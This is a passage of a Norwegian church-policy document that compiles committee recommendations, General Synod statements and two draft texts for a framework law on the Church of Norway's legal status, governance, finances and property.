hvordan loven b\u00f8r se ut og hva den skal inneholde. Dette b\u00f8r skje i samr\u00e5d med kirkens organer. Lovutredningen m\u00e5 dessuten sees i sammenheng med at Den norske kirke selv vedtar en konstituerende kirkeordning. Disse to regelsettene m\u00e5 tilpasses hverandre og utformes gjennom en koordinert prosess, slik at alt er p\u00e5 plass f\u00f8r reformen iverksettes. Utvalget har derfor ikke fremsatt forslag til konkret lovtekst, men vurderer i det f\u00f8lgende hvilke utfordringer og muligheter som finnes. Den norske kirkes rettslige eksistens og bekjennelsesmessige grunnlag ( ) I forhold til prinsippet om religionsfrihet er det problematisk dersom det er kirkeloven vedtatt av Stortinget som definerer Den norske kirkes bekjennelsesgrunnlag, da kirken er et eget trossamfunn, uavhengig av den verdslige lovgivningen. Derfor b\u00f8r bekjennelsesgrunnlaget nedfelles i en ny kirkeordning vedtatt av kirkens egne organer. Kirkeloven kan da innledes med en form\u00e5lsbestemmelse om at den skal legge forholdene til rette for at Den norske kirke kan virke som en evangelisk-luthersk folkekirke ut fra sitt eget bekjennelsesgrunnlag, selvforst\u00e5else og form\u00e5l. For \u00e5 markere kontinuitet kan ordet \u00abforblir\u00bb brukes, slik at lovteksten innledes slik: \u00abLovens form\u00e5l er \u00e5 legge forholdene til rette for at Den norske kirke forblir et evangelisk-luthersk trossamfunn, som...\u00bb. Noen grunnleggende trekk ved Den norske kirkes virksomhet kan nedfelles i kirkeloven for \u00e5 understreke kontinuitet og markere at Den norske kirke vil videref\u00f8re sin virksomhet med samme form\u00e5l og identitet som i dag. Loven b\u00f8r i s\u00e5 fall vise til Den norske kirkes eget vedtak om dette som sier at den skal v\u00e6re en bekjennende, misjonerende, tjenende og \u00e5pen folkekirke som fortsatt vil arbeide for \u00e5 ha bred oppslutning (jf. vedlegg 1). Under dagens statskirkeordning er demokratiet ivaretatt dels gjennom kirkens egne valgte organer, dels gjennom den styring som Storting og regjering ut\u00f8ver. Ved en ny kirkeordning vil det v\u00e6re en forutsetning at den demokratiske strukturen som er bygd opp i de senere \u00e5r videref\u00f8res. Loven kan ogs\u00e5 her vise til Den norske kirkes egen uttalelse som sier at r\u00e5dsstrukturen er basert p\u00e5 demokratiske valg av og blant kirkens medlemmer, og at kirken vil arbeide for at en st\u00f8rre del av kirkens medlemmer tar ansvar gjennom \u00e5 delta i kirkelige valg. Den norske kirke vil ikke lenger v\u00e6re noen formell del av forvaltningen, men som samfunnsinstitusjon kan det v\u00e6re naturlig \u00e5 lovfeste at forvaltningsloven og offentlighetsloven fortsatt skal gjelde for kirken, med unntak av forretningsmessig virksomhet som er s\u00e6rskilt organisert. Loven kan ogs\u00e5 gi s\u00e6rskilte bestemmelser i forhold til arbeidsmilj\u00f8lov, etc. Innholdet i en kortfattet rammelov Det b\u00f8r innledningsvis utformes en form\u00e5lsparagraf for loven som uttrykker at denne skal legge forholdene til rette for at Den norske kirke kan forbli en evangelisk-luthersk folkekirke 2 Det var det siste et flertall gikk inn for (Kirker\u00e5dets anmerkning). 2\n\n\n\n3 ut fra sitt bekjennelsesgrunnlag, sin selvforst\u00e5else og de form\u00e5l som fastsettes i kirkeordningen gitt av kirkens egne organer. Denne b\u00f8r formuleres slik at det tydelig fremg\u00e5r at det er den samme kirken som videref\u00f8res, gjennom formuleringer som at \u00abDet skal legges til rette for at Den norske kirke forblir en evangelisk-luthersk folkekirke som skal v\u00e6re landsdekkende og demokratisk\u00bb. Det kan v\u00e6re aktuelt \u00e5 ta inn en bekreftelse om at kirken som selvstendig trossamfunn avgj\u00f8r alle sp\u00f8rsm\u00e5l som har med l\u00e6re, organisasjon, utnevnelse av sine ledere og all virksomhet for \u00f8vrig. Dette vil uansett fremg\u00e5 ved at kirkelige organer tilkjennes de oppgavene som i dag ligger til offentlige myndigheter, ved at det utformes bestemmelser om at Kongens n\u00e5v\u00e6rende oppgaver etter Grunnlovens 4 og 16 legges til Kirkem\u00f8tet. Kirkem\u00f8tet f\u00e5r dermed myndighet til \u00e5 fastsette og fortolke kirkens l\u00e6re, beslutte om kirkens b\u00f8ker, gi regler om kirkelig virksomhet, utnevne sine ledere og ha det \u00f8verste ansvaret for at kirkens representanter f\u00f8lger de foreskrevne normer. Andre organisatoriske forhold som at soknet er grunnenheten i kirken og forblir et eget rettssubjekt b\u00f8r ogs\u00e5 fastsl\u00e5s. Det m\u00e5 fastsl\u00e5s at Den norske kirke selv har rettigheter og plikter, er part i avtaler med private og offentlige myndigheter og har partsstilling overfor domstol og andre myndigheter. Loven kan inneholde formuleringer om at kirken og dens organer fortsatt skal f\u00f8lge lovgivning som gjelder offentlig forvaltning, som forvaltningslov og offentlighetslov. Dersom kommunene skal ha et ansvar for delvis finansiering av den lokale kirke, b\u00f8r dette lovreguleres som n\u00e5 (jf. kirkeloven 15), eventuelt kan en bestemmelse om dette tas inn i kommuneloven. Det m\u00e5 fastsettes s\u00e6rskilte restriksjoner og prosedyrer for endringer av lovverket og for kirkeordningen som skal vedtas av kirkelige organer. ( ) Lovarbeidet Et videre lovarbeid m\u00e5 settes i gang etter at det er foretatt et hovedvalg mht. ny ordning av forholdet mellom stat og kirke. Dette m\u00e5 skje i samr\u00e5d med kirkens organer. Lovutredningen m\u00e5 ogs\u00e5 sees i sammenheng med kirkens egen utredning av en ny konstituerende kirkeordning. Side : Lovgivning Flertallets anbefaling gir Den norske kirke en fortsatt s\u00e6rstilling i kraft av sin historie, utbredelse og oppslutning. Denne s\u00e6rstillingen markeres gjennom en kirkelov for Den norske kirke gitt av Stortinget. Flertallet mener at denne kirkeloven b\u00f8r v\u00e6re en kortfattet rammelov som henviser til Den norske kirkes selvforst\u00e5else n\u00e5r det gjelder dens egenart og \u00f8vrige grunnleggende forhold. ( ) 3\n\n\n\n4 Som det fremg\u00e5r av 5.4.3, har utvalget ikke funnet grunnlag for \u00e5 fremme et ferdig formulert forslag til kirkelov, men viser til at det er n\u00f8dvendig med et videre lovforberedende arbeid. Flertallet anbefaler at en slik lov blir s\u00e5 kortfattet som mulig. For \u00e5 sikre kontinuiteten i en overgangsfase kan det v\u00e6re hensiktsmessig at loven bekrefter Den norske kirkes og de enkelte sokns rettslige status. Flertallet mener at de grunnleggende bestemmelser som fastsettes i en kirkeordning b\u00f8r beskyttes av strenge prosedyrekrav ved forslag om endring. Den m\u00e5 f\u00f8rst kunne endres etter grundig utredning, saksbehandling og flere gangers behandling over tid i det vedtaksf\u00f8re organet. Slike prosedyreregler kan dels tas inn i kirkeloven, dels utfylles n\u00e6rmere i kirkeordningen. F\u00f8lgende formuleringer er ikke et ferdig forslag til kirkelov, men fremsettes her for \u00e5 gi et inntrykk av hva kirkeloven i hovedsak kan inneholde: 3 - Lovens form\u00e5l er \u00e5 legge forholdene til rette for at Den norske kirke forblir et landsdekkende evangelisk-luthersk trossamfunn, som i samsvar med sin l\u00e6re og selvforst\u00e5else er en bekjennende, misjonerende, tjenende og \u00e5pen kirke. - Den norske kirke har selv rettigheter og plikter, er part i avtaler med private og offentlige myndigheter og har partsstilling overfor domstol og andre myndigheter. - Kirkem\u00f8tet treffer avgj\u00f8relser og opptrer p\u00e5 vegne av Den norske kirke n\u00e5r det ikke er fastsatt i kirkelov, kirkeordning eller i medhold av disse at myndigheten er lagt til annet kirkelig organ. - Soknet er den grunnleggende enhet i Den norske kirke og kan ikke l\u00f8ses fra denne. Soknet har selv rettigheter og plikter, er part i avtaler med private og offentlige myndigheter og har partsstilling overfor domstol og andre myndigheter. - Menighetsr\u00e5det treffer avgj\u00f8relser og opptrer p\u00e5 vegne av soknet n\u00e5r det ikke er fastsatt i kirkelov, kirkeordning eller i medhold av disse at myndigheten er lagt til annet kirkelig organ. - N\u00e6rmere bestemmelser om kirkens l\u00e6regrunnlag, kirkelig inndeling, medlemskap, valg og om lokale, regionale og sentrale organer fastsettes i en kirkeordning. Forslag til endringer i kirkeordningen m\u00e5 fremsettes i Kirkem\u00f8tet og kan deretter f\u00f8rst vedtas i et nytt valgt Kirkem\u00f8te og da med 2/3 flertall. - Forvaltningsloven og offentlighetsloven gjelder for virksomheten som drives av lovbestemte kirkelige organer. Dersom kommunen fortsatt skal ha et ansvar for finansiering av den lokale kirke, b\u00f8r dette lovreguleres, jf. gjeldende kirkelovs 15. Flertallets forslag om en lovforankret folkekirke gir kirkens interne organer ansvar og frihet til \u00e5 fastsette sin egen lovgivning i form av en kirkeordning. Denne kirkeordningen korresponderer med og utfyller kirkeloven gitt av Stortinget. Som det fremg\u00e5r av 5.4.4, 3 Ogs\u00e5 inntatt i Stortingsmelding nr. 17 ( ) Staten og Den norske kirke side 42 (Kirker\u00e5dets anmerkning). 4\n\n\n\n5 forutsetter utvalget at arbeidet med \u00e5 etablere en slik kirkeordning koordineres med utarbeidelsen av ny kirkelov, slik at de samlede forutsetninger er klargjort n\u00e5r vedtak fattes. Utredningen og lovarbeidet m\u00e5 legges opp med \u00e5pne og forutsigbare prosesser b\u00e5de fra statens og kirkens side. \\*\\*\\*\\* II Uttalelser fra Kirkem\u00f8tet i 2006 og 2007, som springer ut fra NOU 2006: 2 Staten og Den norske kirke A Sak KM 08/06: Kirkem\u00f8tets h\u00f8ringsuttalelse til NOU 2006: 2 Staten og Den norske kirke Ny kirkelov Med Kirkelov forst\u00e5r Kirkem\u00f8tet en lov gitt av Stortinget som skal trekke opp de ytre rammene for Den norske kirke. Kirkem\u00f8tet har foran, i tr\u00e5d med utvalget, vist til at Den norske kirke til tross for en \u00f8kt institusjonell og livssynsmessig sekularisering, har en markert plass i nasjonens liv ikke minst lokalt, men ogs\u00e5 ved nasjonale begivenheter. Det vil trolig styrke betydningen av tro og livssyn generelt i samfunnet at Den norske kirke i kraft av sin historie, utbredelse og oppslutning f\u00e5r en s\u00e6rstilling ved en kirkelov gitt av Stortinget. Kirkem\u00f8tet mener, i likhet med Stat kirke-utvalgets flertall, at kirkeloven b\u00f8r forankres i en Grunnlovsbestemmelse. En slik bestemmelse kan gi medlemmene trygghet for at folkekirken videref\u00f8res. Den kan naturlig plasseres i 16. Stat kirke-utvalget har foresl\u00e5tt f\u00f8lgende ordlyd: N\u00e6rmere Bestemmelser om Den norske kirkes Ordning fastsettes ved Lov. Kirkem\u00f8tet gj\u00f8r oppmerksom p\u00e5 at bruken av uttrykket Den norske kirkes Ordning kan forveksles med Kirkeordningen som Den norske kirke selv skal fastsette. Uttrykket b\u00f8r vurderes n\u00e6rmere. Loven m\u00e5 bekrefte at Den norske kirke fortsatt er et evangelisk-luthersk trossamfunn og en videref\u00f8ring av dagens kirke som en landsdekkende og demokratisk folkekirke. Loven m\u00e5 inneholde bestemmelser som etablerer Den norske kirke som rettssubjekt med rettigheter og plikter, samtidig som den videref\u00f8rer soknet som rettssubjekt og regulerer forholdet mellom de kirkelige rettssubjekter. Loven m\u00e5 ogs\u00e5 inneholde formuleringer som viser at den myndighet som i dag ligger i Kongens kirkestyre overf\u00f8res til kirkelige organer. Kirkem\u00f8tet viser for \u00f8vrig til Stat kirke-utvalgets betraktninger om innholdet i en slik rammelov. Kirkem\u00f8tet mener at Den norske kirke ut fra prinsippet om tros- og livssynsfrihet m\u00e5 st\u00e5 fritt til \u00e5 bestemme eget l\u00e6regrunnlag, organisasjonsstruktur, hvem som skal ha myndighet til \u00e5 bestemme l\u00e6remessige sp\u00f8rsm\u00e5l, tilsettinger og arbeidsgiveransvar. Kirkeloven m\u00e5 derfor bli 5\n\n\n\n6 en kort rammelov, i tr\u00e5d med forslaget til Stat kirke-utvalgets flertall. B Sak KM 08/07: Grunnlovsforankring, kirkelov og kirkeordning Forholdet mellom omr\u00e5det for statlig og intern-kirkelig regulering Omr\u00e5det for intern-kirkelig regulering: Den norske kirke som folkekirke er et trossamfunn, en del av den verdensomspennende kristne kirke som har sitt grunnlag i Jesu liv, d\u00f8d og oppstandelse (Den norske kirkes identitet og oppdrag, pkt 1). Den norske kirkes karakter av trossamfunn m\u00e5 respekteres og vektlegges n\u00e5r ordninger som ber\u00f8rer trossamfunnsanliggender skal utformes. Som trossamfunn skal Den norske kirke: 5 1 bestemme over sin l\u00e6re og liturgi, 2 utnevne/velge sine ledere, 3 fastsette sine valgordninger og sin organisasjonsstruktur, 4 ha myndighet til \u00e5 fastsette hvem som skal ha myndighet til \u00e5 bestemme l\u00e6remessige sp\u00f8rsm\u00e5l, tilsettinger og arbeidsgiveransvar. Dette kan gjennomf\u00f8res uavhengig av kirkens relasjon til staten. Omr\u00e5det for statlig regulering: Tros- og livssynssamfunnenes virksomhet ber\u00f8rer statlige interesser p\u00e5 flere omr\u00e5der. Statlig regulering i forhold til Den norske kirke og tros- og livssynssamfunnene b\u00f8r i hovedsak omfatte: 5 Offentligrettslige rammer for tros- og livssynssamfunn. 6 Offentlige tilskuddsordninger for tros- og livssynssamfunn og Den norske kirke. 7 Offentlig ansvar for kulturhistorisk verdifulle og verneverdige kirkebygg. 8 Gravferdsforvaltning: Forholdet mellom offentlig ansvar og Den norske kirkes og trossamfunnenes rolle. Dette reguleres i gravferdsloven med underliggende forskrifter og regelverk. 9 Ekteskapsinng\u00e5else: Forholdet mellom offentlig ansvar og Den norske kirkes og tros- og livssynssamfunnenes rolle. Dette reguleres i ekteskapsloven og underliggende forskrifter og regelverk. 4 Kirker\u00e5det bemerker at vedtaket er en oppf\u00f8lgning og utdyping av vedtaket \u00e5ret f\u00f8r, jf. blant annet at det endelige h\u00f8ringsresultatet ikke forel\u00e5 da Kirkem\u00f8tet 2006 avga sin h\u00f8ringsuttalelse i sak KM 08/06. Sammenfatningen av h\u00f8ringsmaterialet forel\u00e5 f\u00f8rst i mars Det var disse fire punktene Kirkem\u00f8tet i 2011 viste til, jf. pkt. III i den n\u00e6rv\u00e6rende saksutredningen. (Kirker\u00e5dets anmerkning). 6\n\n\n\n7 Den norske kirkes forhold til annet lovverk 10 Opplysningsvesenets fond (OVF) overf\u00f8res til Den norske kirke, slik Kirkem\u00f8tet 2006 har g\u00e5tt inn for. Det vil da bli behov for endringer i lov om Opplysningsvesenets fond. Reglene om forvaltning av fondet vil m\u00e5tte endres, og det er et sp\u00f8rsm\u00e5l om det vil v\u00e6re n\u00f8dvendig med en egen lov om OVF, eller om det er tilstrekkelig med den alminnelige fondslovgivning, og et sett kirkelige regler ang\u00e5ende forvaltningen av fondet. Hvorvidt det i dette tilfelle vil v\u00e6re n\u00f8dvendig \u00e5 endre eller oppheve Grl 106, m\u00e5 utredes. 11 Den norske kirke er i dag underlagt offentlighetsloven og forvaltningsloven. Ogs\u00e5 en mer selvstyrt kirke m\u00e5 ha \u00e5penhet, offentlighet, innsynsmulighet, forutsigbarhet og ryddighet i saker av forvaltningsmessig karakter. Det enkleste vil v\u00e6re \u00e5 fortsatt gj\u00f8re offentlighetsloven og forvaltningsloven gjeldende for Den norske kirke. 12 Den norske kirkes s\u00e6rskilte ansvar for samisk kirkeliv sees i lys av Grunnlovens 110a. Den norske kirke skal fortsatt v\u00e6re forpliktet p\u00e5 samelovens spr\u00e5kregler og ha del i de statlige finansieringsordninger som f\u00f8lger av denne forpliktelsen. 13 Arbeidsmilj\u00f8lovens regler vil gjelde i Den norske kirke, inklusive unntaksbestemmelsen for tros- og livssynsamfunn, 13-3 (3). Det samme gjelder ferieloven Tjenestemannsloven gjelder i dag for embetsmannsgruppene biskoper og proster og for det meste av presteskapet som statstjenestemenn. Den omfatter ogs\u00e5 tjenestemenn ansatt i bisped\u00f8mmene og sekretariatet for de sentralkirkelige r\u00e5d. Hvis disse gruppenes status som embetsmenn og statstjenestemenn avvikles og arbeidsvilk\u00e5rene reguleres av arbeidsmilj\u00f8loven og avtaleverk, vil det oppst\u00e5 behov for overgangsregler/avtaler og sannsynligvis ogs\u00e5 s\u00e6ravtaler. 15 Den norske kirke omfattes, og vil ogs\u00e5 som mer selvstyrt kirke omfattes, av likestillingslovens unntaksbestemmelse n\u00e5r det gjelder indre forhold i trossamfunn, men s\u00f8ker i praksis \u00e5 gjennomf\u00f8re intensjonene i likestillingsloven. 16 Den norske kirkes status i forhold til arkivloven m\u00e5 avklares. \\*\\*\\*\\* 6 Disse sp\u00f8rsm\u00e5lene vil bli l\u00f8st allerede i den kommende forvaltningsreformen (Kirker\u00e5dets anmerkning). 7\n\n\n\n8 III Andreas Aarflot og John Egil Bergem: Mot en selvstendig folkekirke (2007) Kap. 7 LOVUTKAST VEDR\u00d8RENDE ENDRINGER I DET RETTSLIGE GRUNNLAG FOR DEN NORSKE KIRKE ( ) LOV OM DEN NORSKE KIRKE 7 / 8 (Rammelov, som vedtas av Stortinget) 1 Den norske kirke som trossamfunn Den norske kirke er et evangelisk-luthersk trossamfunn som f\u00f8rer videre den nasjonale kirkeordning slik den har hatt sin historiske utforming, og slik den har v\u00e6rt regulert i Grunnloven. Den norske kirke regulerer selv sin virksomhet og fastsetter sine ordninger, innenfor rammene av den alminnelige lovgivning. 9 2 Form\u00e5let med loven Form\u00e5let med loven er \u00e5 legge til rette for at Den norske kirke kan drive sin riksdekkende virksomhet i samsvar med sitt bekjennelsesgrunnlag. Loven skal gi grunnlag for at kirken kan framtre som en bekjennende, misjonerende, diakonal og \u00e5pne folkekirke. 3 Den norske kirkes rettslige stilling Den norske kirke har selv rettigheter og forpliktelser, er part i avtaler med private og offentlige myndigheter og har partsstilling overfor domstoler og myndigheter. Soknet og bisped\u00f8mmet har som enheter innenfor kirken samme rettslige stilling som kirken selv har etter f\u00f8rste ledd Kirkelig inndeling Soknet er den grunnleggende enhet i Den norske kirke og omfatter alle personer som tilh\u00f8rer Den norske kirke og som er bosatt innenfor soknets geografiske omr\u00e5de. 7 Kirker\u00e5det bemerker at utkastet baserer seg p\u00e5 at virksomhetsoverdragelsen ikke allerede har funnet sted i en forutg\u00e5ende lovreform slik det n\u00e5 ventelig vil bli men at overdragelsen finner sted gjennom den lovreformen utkastet til forfatterne er ment \u00e5 v\u00e6re et innspill til. Utkastets 8 og 9 m\u00e5 ses i lys av dette likeledes i noen grad 6 tredje ledd, jf. at Den norske kirkes landsfond er foresl\u00e5tt overf\u00f8rt fra staten til kirken allerede i samband med den planlagte forvaltningsreformen. Se ogs\u00e5 henvisingen til Grunnloven i slutten av utkastets 1 f\u00f8rste ledd. Her er ment Grunnloven slik den forel\u00e5 frem til S\u00e5 lenge dagens Grunnlov 4 og 16 ikke endres, vil det ikke v\u00e6re noe behov for en slik henvisning. 8 Bokens side 151 flg. Notene til forfatternes utkast er tatt inn slik at note 19 til 28 i boken i dette vedlegget har blitt til note 9 til Denne bestemmelsen svarer til formuleringen i den tyske grunnlov om kirkens rettsstilling. 10 Dette vil inneb\u00e6re en endring i forhold til dagens ordning, der bisped\u00f8mmet kun er et forvaltningsniv\u00e5 og et tjenesteomr\u00e5de for biskopen, men uten at det er et selvstendig rettssubjekt. Finland og Sverige har hver sin l\u00f8sning p\u00e5 dette, og det kan v\u00e6re gode argumenter for begge l\u00f8sninger. 8\n\n\n\n9 Bisped\u00f8mmet er regionale enhet i Den norske kirke og omfatter alle personer som tilh\u00f8rer Den norske kirke og som er bosatt innenfor bisped\u00f8mmets geografiske omr\u00e5de. 11 Sokn og bisped\u00f8mmer kan ikke l\u00f8ses fra Den norske kirke. Kirkem\u00f8tet kan vedta unntak fra bestemmelsene i f\u00f8rste og andre ledd Kirkem\u00f8tet Kirkem\u00f8tet vedtar kirkeordning. 13 Kirkem\u00f8tet kan ikke selv treffe vedtak eller gi instruks i enkeltsaker som det tilligger organer for soknet eller bisped\u00f8mmet \u00e5 avgj\u00f8re. 14 Kirkem\u00f8tet skal ha adgang til \u00e5 uttale seg f\u00f8r det treffes vedtak om endringer i denne lov. 6 Kirkelig eiendom 15 Med kirke menes i denne paragraf soknekirke eller kapell som er godkjent av Kongen eller departementet etter de tidligere regler, eller som er godkjent av vedkommende myndighet etter den nye ordningen. Kirkene er soknets eiendom med mindre annet f\u00f8lger av s\u00e6rskilt rettsgrunnlag. Annen kirkelig eiendom som til n\u00e5 har tilh\u00f8rt staten, skal tilh\u00f8re Den norske kirke. Alle kirkelige fond tilh\u00f8rer Den norske kirke. 16 Det samme gjelder Opplysningsvesenets fond. 7 Tilh\u00f8righet og medlemskap Medlemskap og tilh\u00f8righet i henhold til lov 7. juni 1996 nr. 31 om Den norske kirke 3 st\u00e5r ved lag ved ikrafttredelsen av denne lov. N\u00e6rmere bestemmelser om tilh\u00f8righet til og medlemskap i Den norske kirke fastsettes i kirkeordningen. Personer som har oppfylt betingelsene for medlemskap i Den norske kirke registreres i et sentralt medlemsregister for Den norske kirke. 11 Det kan kanskje diskuteres om denne enheten b\u00f8r fastl\u00e5ses i loven, slik man har gjort det i Sverige. Der har man ogs\u00e5 etablert stiftet som en juridisk selvstendig enhet p\u00e5 samme m\u00e5te som soknet. I dette utkastet foresl\u00e5s en tilsvarende ordning, jf. ovenfor 3 siste ledd. 12 Dette ivaretar behovet for sokneb\u00e5ndsl\u00f8sning m.m. 13 Her kan man ogs\u00e5 ta med noe om andre oppgaver, for eksempel \u00f8konomiansvar. Men det er bare myndigheten til \u00e5 vedta kirkeordning som er n\u00f8dvendig for \u00e5 etablere det nye beslutningssystemet. Dette m\u00e5 ikke forst\u00e5s slik at myndigheten til dette er delegert fra staten, men at det er en slags overf\u00f8ring f\u00f8rste gang kirkeordningen vedtas. 14 Bestemmelsen er tatt inn etter m\u00f8nster av den svenske loven. Prinsippet er naturlig ut fra den selvstendige stilling som er gitt til soknet og bisped\u00f8mmet i v\u00e5re forslag. Det er heller ingen grunn til at Kirkem\u00f8tet skal gripe inn i enkeltsaker som er tillagt organer p\u00e5 lavere plan. Kirkem\u00f8tet m\u00e5 styre gjennom regler og retningslinjer. 15 Her kan det ogs\u00e5 tas med en bestemmelse om kommunens plikt til \u00e5 stille tjenestebolig, jf. kirkeloven Her kan det ogs\u00e5 sies noe om hvilke kirkelige enheter fondene skal anses \u00e5 tilh\u00f8re. I tillegg kan det tas inn bestemmelser om annen kirkelig eiendom, for eksempel presteg\u00e5rder. 9\n\n\n\n10 8 Kirkelige embets- og tjenestemenn 17 Den norske kirke overtar arbeidsgiveransvaret for alle statlige kirkelige stillinger. Embetsmenn beholder sine s\u00e6rlige rettigheter i henhold til utnevningen. 9 Diverse overgangsbestemmelser Ikraftsetting \\*\\*\\*\\* IV Kjent inventar i nytt hus (2011) 19 Lov om Den norske kirke utkast til lovtekst Kapittel 1. Kirkens egenart og organisasjon 1 Lovens form\u00e5l Form\u00e5let med loven er \u00e5 legge til rette for at Den norske kirke kan opprettholdes og videref\u00f8res som en demokratisk og landsdekkende evangelisk-luthersk folkekirke. 2 Kirken som trossamfunn og kirkens l\u00e6regrunnlag Den norske kirke er som evangelisk-luthersk folkekirke et trossamfunn som selv regulerer sin virksomhet og tilsetter sine medarbeidere. Kirkem\u00f8tet fastsetter kirkens ordning. 3. Den norske kirkes rettslige stilling Soknet er den grunnleggende enhet i Den norske kirke og kan ikke l\u00f8ses fra denne. Soknet omfatter alle medlemmer av kirken som er bosatt innenfor soknets geografiske omr\u00e5de. Den norske kirke har selv rettigheter og forpliktelser, er part i avtaler med private og offentlige myndigheter og har partsstilling overfor domstol og andre myndigheter. Soknet har samme rettslige stilling som Den norske kirke. 17 Dette er egentlig en overgangsbestemmelse, men den er s\u00e5pass viktig og spesiell at den trolig fortjener en egen paragraf. 18 Her tas inne alle n\u00f8dvendige bestemmelser som ikke er nevnt i de foreg\u00e5ende paragrafer. Vi presiserer for ordens skyld at det kan bli n\u00f8dvendig med bestemmelser om finansiering, men det kan like gjerne v\u00e6re naturlig \u00e5 ta disse inn i trossamfunnsloven, siden finansieringsordningen i stor grad m\u00e5 v\u00e6re sammenfallende med ordningen for andre trossamfunn. Vi har ikke laget forslag til slike bestemmelser. For ordens skyld har vi ogs\u00e5 tatt med overskriften til en 10, da det kan v\u00e6re n\u00f8dvendig med en egen bestemmelse om ikraftsetting. 19 Hefte 1 side 65 flg. 10\n\n\n\n12 Kongen gir regler om kirkelig manntall og om innf\u00f8ring i dette. Kapittel 2. Underst\u00f8ttelse av Den norske kirke 8. Kirkens \u00f8konomi Statens underst\u00f8ttelse av Den norske kirke skal bidra til at kirken videref\u00f8res og videreutvikles som Norges folkekirke ved \u00e5 gi grunnlag for at a) det i soknene kan holdes de gudstjenester som biskopen forordner, b) kirkens medlemmer sikres de n\u00f8dvendige kirkelige tjenester ved d\u00e5p, trosoppl\u00e6ring,vielse og gravferd, c) diakonien innarbeides, d) samisk kirkeliv ivaretas som en n\u00f8dvendig og likeverdig del, e) d\u00f8ve sikres kirkelige tjenester, f) kirkens medlemmer som oppholder seg midlertidig i utlandet har et tilbud om kirkelige tjenester, g) nasjonale oppgaver kan ivaretas, h) internasjonale og \u00f8kumeniske forpliktelser kan ivaretas, i) utenlandske krigsgraver i Norge sikres tilfredsstillende forvaltning, j) de regionale og sentrale kirkelige organer og biskopene gis tilfredsstillende rammevilk\u00e5r for sin virksomhet, herunder disponerer n\u00f8dvendig administrativ og faglig kompetanse i sine sekretariater, k) arbeidsforholdene for de tilsatte er tilfredsstillende l) middelalderkirker og andre fredede, vernede og listef\u00f8rte kirker kan bevares. Kommunen utreder f\u00f8lgende utgifter etter budsjettforslag fra menighetenes fellesr\u00e5d / prostir\u00e5det: a) utgifter til bygging, drift og vedlikehold av kirker, b) utgifter til anlegg og drift av gravplass/kirkeg\u00e5rd, c) utgifter til stillinger for kirketjener, klokker og organist/kantor ved hver kirke, og til daglig leder av menighetenes fellesr\u00e5d / prostir\u00e5det, d) driftsutgifter for menighetenes fellesr\u00e5d / prostir\u00e5det og menighetsr\u00e5d, herunder utgifter til administrasjon og kontorhold, e) utgifter til lokaler, utstyr og materiell til konfirmasjonsoppl\u00e6ring. Menighetenes fellesr\u00e5d / prostir\u00e5dets budsjettforslag skal ogs\u00e5 omfatte utgifter til kirkelig undervisning, diakoni, kirkemusikk og andre kirkelige tiltak i soknene. Kommunens utgiftsdekning skal gi grunnlag for at det i soknene kan holdes de gudstjenester biskopen forordner, at n\u00f8dvendige kirkelige tjenester kan ytes, at arbeidsforholdene for de kirkelig tilsatte er tilfredsstillende, at menighetsr\u00e5d har tilstrekkelig administrativ hjelp og at menighetenes fellesr\u00e5d / prostir\u00e5det disponerer tilstrekkelig administrativ hjelp og faglig kompetanse. Etter avtale med menighetenes fellesr\u00e5d / prostir\u00e5det kan kommunal tjenesteyting tre i stedet for s\u00e6rskilt bevilgning til form\u00e5l som nevnt i denne paragraf. Kongen kan gi forskrift om kommunenes forpliktelser etter denne paragraf. Kommunen kan ta opp l\u00e5n for finansiering av sine forpliktelser etter f\u00f8rste ledd bokstav a) og b). De n\u00e6rmere vilk\u00e5r for kommunens l\u00e5neopptak fremg\u00e5r av kommunelovens 50. Representant for menighetenes fellesr\u00e5d / prostir\u00e5det kan gis m\u00f8te- og talerett i kommunale organ n\u00e5r disse behandler saker som direkte ber\u00f8rer menighetenes fellesr\u00e5d / 12\n\n13 prostir\u00e5dets virksomhet. En representant valgt av vedkommende kommune, kan gis m\u00f8te- og talerett n\u00e5r menighetenes fellesr\u00e5d / prostir\u00e5det behandler saker i medhold av 2. ledd. Kongen gir n\u00e6rmere regler om budsjettordning, regnskapsf\u00f8ring og revisjon. 9 Opptak av l\u00e5n p\u00e5 soknets vegne m.v. P\u00e5 soknets vegne kan det bare opptas l\u00e5n n\u00e5r dette er godkjent. P\u00e5 Den norske kirkes vegne kan det bare opptas l\u00e5n n\u00e5r dette er bestemt av Kirkem\u00f8tet selv. P\u00e5 soknets vegne og Den norske kirkes vegne er det ikke tillatt \u00e5 garantere for andres \u00f8konomiske forpliktelser eller stille eiendeler til sikkerhet for andres gjeld. Den norske kirke og et sokn kan ikke tas under konkurs eller \u00e5pne gjeldsforhandling etter konkursloven. N\u00e5r et sokn p\u00e5 grunn av vanskeligheter som ikke er helt forbig\u00e5ende, ikke kan betale forfalt gjeld, plikter menighetenes fellesr\u00e5d / prostir\u00e5det \u00e5 treffe vedtak om betalingsinnstilling. Melding om slikt vedtak skal straks sendes overordnet organ som iverksetter de tiltak som anses n\u00f8dvendig. Kirkem\u00f8tet fastsetter hvem som etter 1. ledd kan godkjenne opptak av l\u00e5n p\u00e5 soknets vegne og som er overordnet organ etter 4. ledd. Kapittel 3. Kirker 10 Definisjon av og eiendomsrett til kirke Med kirke menes i dette kapittel soknekirke eller kapell som er a) kirke fra gammelt av, b) godkjent av Kongen eller departementet, c) godkjent av Kirkem\u00f8tet som kan delegere slik myndighet til Kirker\u00e5det. Det skal v\u00e6re kirke i hvert sokn. Kirkene er soknets eiendom, med mindre annet f\u00f8lger av s\u00e6rskilt rettsgrunnlag. Soknene i en kommune kan i fellesskap eie kirker. 11 Forvaltning av kirkene og begrensning i r\u00e5dighet Forvaltningen av kirkene h\u00f8rer under menighetenes fellesr\u00e5d / prostir\u00e5det, med mindre annet er bestemt. Kirker kan ikke avhendes, pantsettes eller p\u00e5heftes bruksretter. Det kan likevel gis samtykke i salg n\u00e5r s\u00e6rlige grunner tilsier det. Formuesrettigheter som er knyttet til en kirke, kan ikke skilles fra den. Fast eiendom som ikke er n\u00f8dvendig for kirken, kan likevel avhendes n\u00e5r det er gitt samtykke til dette. Bestemmelse etter 1. ledd fattes og samtykke etter 2. ledd og 3. ledd gis av den Kirkem\u00f8tet har gitt slik myndighet. 12 Kirkefond Kapital som er knyttet til en kirke, samles i et kirkefond. Fondet forvaltes av Menighetenes fellesr\u00e5d / prostir\u00e5det etter gjeldende regler. Avkastningen skal benyttes til kirkens drift og vedlikehold. Det kan gis samtykke til at avkastningen benyttes til andre kirkelige form\u00e5l i soknet eller i andre sokn i kommunen. Det kan gis samtykke til at fondets kapital benyttes til kirkelige form\u00e5l i soknet eller i andre sokn innen kommunen. 13\n\n\n14 Reglene i 